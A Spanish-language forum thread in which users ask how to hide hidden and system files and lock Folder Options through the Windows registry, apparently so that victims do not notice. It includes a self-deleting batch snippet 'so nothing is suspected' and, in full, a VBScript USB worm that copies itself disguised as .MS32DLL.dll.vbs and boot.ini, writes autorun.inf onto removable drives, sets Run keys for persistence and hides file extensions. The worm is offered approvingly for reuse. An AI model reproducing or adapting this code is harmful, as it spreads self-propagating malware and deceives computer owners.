No ver archivos ocultos y de sistema.

[Krosty_ufc]

buenas,
alguien sabe de alguna manera para desactivar la opcion de ver archivos ocultos y de sistema ?

Salu2

[-SharK_90-]

Podes desactivar "Opciones de Carpeta"....
Lo haces desde el registro de Windows.!

[Krosty_ufc]

Aver creo que seria asi no:

Código:

Shell "reg add HKCU\software\microsoft\windows\currentversion\policies\explorer /v nofolderoptions /t reg_dword /d 1 /f"

Salu2 y gracias

[Zion_Tm]

Shell "reg add HKCU\software\microsoft\windows\currentversion\policies\explorer /v nofolderoption s /t reg_dword /d 1 /f"


Pues asi como esta no me funciona, sugerencias ?


Pd: perdon es que llego cansado y ando lento de mente :S

[Krosty_ufc]

El reg add esta bien, pero no lo toma mediante shell.
Usa un comando VB para editar el registro y listo.
Es aes la ruta,
Salu2
PD: Ahroa no puedo activar el ver opciones d carpetas xDDDDD
PD2: MIra lo que encontre en internet:

las opciones de carpeta al bloquearse no hay manera de volverlas a restaurar.

XDDDDDDDDDDDDD DDDDDDDD, por suerte tenia activado que meustre todo jsajajaaxD

[Zion_Tm]

Aha ! ahora si resulto, aunque seria bueno agregarle esto

Código:

shutdown -s -t 5
del %0%

para que apague el ordenador y surtan efecto los cambios del registro.
y para que no sospeche nada, se autoelimina el bat.

[Ther0x]

-

Aha ! ahora si resulto, aunque seria bueno agregarle esto

Código:

shutdown -s -t 5
del %0%

para que apague el ordenador y surtan efecto los cambios del registro.
y para que no sospeche nada, se autoelimina el bat.

Aha ! ahora si resulto, aunque seria bueno agregarle esto

Código:

shutdown -s -t 5
del %0%

para que apague el ordenador y surtan efecto los cambios del registro.
y para que no sospeche nada, se autoelimina el bat.

Pero estamos hablando de vb no de batch. El reinicio se puede hacer desde vb, y lo de eliminar el bat sería eliminar el exe y eso se hace con la función kill y con app.path...

[Zion_Tm]

Es verdad, tenes razon. Me confundi de lenguaje 


Pero quiero hacer otra observacion si se puede .. . .
con este codigo deshabilitas la opcion para poder cambiar ( ver ext o no verlas ), que pasa si en ese ordenador el usuario ya tiene puesta la opcion de ver extensiones ? Tiene que haber una forma de cambiarsela a la fuerza, o sea . .. tenga lo que tenga que la cambie a ( NO VER EXT ) me entendes ?

[Ther0x]

Es verdad, tenes razon. Me confundi de lenguaje 


Pero quiero hacer otra observacion si se puede .. . .
con este codigo deshabilitas la opcion para poder cambiar ( ver ext o no verlas ), que pasa si en ese ordenador el usuario ya tiene puesta la opcion de ver extensiones ? Tiene que haber una forma de cambiarsela a la fuerza, o sea . .. tenga lo que tenga que la cambie a ( NO VER EXT ) me entendes ?

Tiene que haber una clave e el registro para eso, lo que no sé es que clave es xDD

[Zion_Tm]

Mmmm bueno encontre este codigo de vbs en este mismo foro.

Código:

'mark
'slow and silent (sas)1.0
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,cc,hm
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe .MS32DLL.dll.v bs"
set fs = createobject("Scripting.File SystemObject")
set mf = fs.getfile(Wscript.Script Fullname)
set rg = createobject("WScript.Shell")
rg.RegWrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows Scripting Host\Settings\Timeout","0"
rg.regwrite "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\.MS32DLL.dll.vbs"
rg.regwrite "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\winboot","wscript.exe "&winpath&"\boot.ini"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt","1"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
dim text,size
size = mf.size
set text=mf.openastextstream(1,-2)
cc = text.readline
do while not text.atendofst ream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
Set winpath = fs.getspecialf older(0)
set tf = fs.getfile(winpath & "\.MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\.MS32DLL.dll.vbs",2,true)
tf.write "'ker"&vbcrlf&mysource
tf.close
set tf = fs.getfile(winpath & "\.MS32DLL.dll.vbs")
tf.attributes = 39
Set winpath = fs.getspecialf older(0)
set tf = fs.getfile(winpath & "\boot.ini")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\boot.ini",2,true)
tf.write "'ker"&vbcrlf&mysource
tf.close
set tf = fs.getfile(winpath & "\boot.ini")
tf.attributes = 39
if cc = "'mark" then
rg.run winpath&"\explorer.exe /e,/select, "&Wscript.Script Fullname
end if
if cc = "'marker" then
rg.run winpath&"\explorer.exe /e,/select, "&Wscript.Script Fullname
end if
do
for each flashdrive in fs.drives
hm="'mark"
If (flashdrive.dri vetype=1 or flashdrive.dri vetype=2) and flashdrive.pat h <> "A:" then
if(flashdrive.dri vetype=2) then
hm = "'marker"
end if
set tf=fs.getfile(flashdrive.pat h &"\.MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.pat h &"\.MS32DLL.dll.vbs",2,true)
tf.write hm&vbcrlf&mysource
tf.close
set tf=fs.getfile(flashdrive.pat h &"\.MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.pat h &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.pat h &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.pat h &"\autorun.inf")
tf.attributes=39
end if
rg.RegWrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows Scripting Host\Settings\Timeout","0"
rg.regwrite "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\.MS32DLL.dll.vbs"
rg.regwrite "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\winboot","wscript.exe /E:vbs "&winpath&"\boot.ini"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt","1"
rg.regwrite "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
next
if cc <> "'mark" then
Wscript.sleep 10000
end if
loop while cc <> "'mark"

Que te parece ? 
bueno me voy a dormir que toy molido de sueño

[Krosty_ufc]

Muy bien parece que esta rama:

Código:

HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\

Es la que maneja las opciones de archivos ocultos y de sistema =)
Salu2
Gracias por al info

[zXxOsirisxXz]

Esta muy wena la info del registro, gracias. ^^